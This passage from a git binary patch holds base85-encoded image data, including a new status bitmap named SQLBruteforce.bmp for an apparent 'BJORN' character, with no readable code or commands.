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 Ne~R@Z{n*Ot{{i&YIi3Ij literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce.bmp b/resources/default_config/characters/BJORN/status/SQLBruteforce/SQLBruteforce.bmp new file mode 100644 index 0000000000000000000000000000000000000000..9db4d231ae8a801ed51a6f7bdd88453d55a4c36e GIT binary patch literal 2406 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 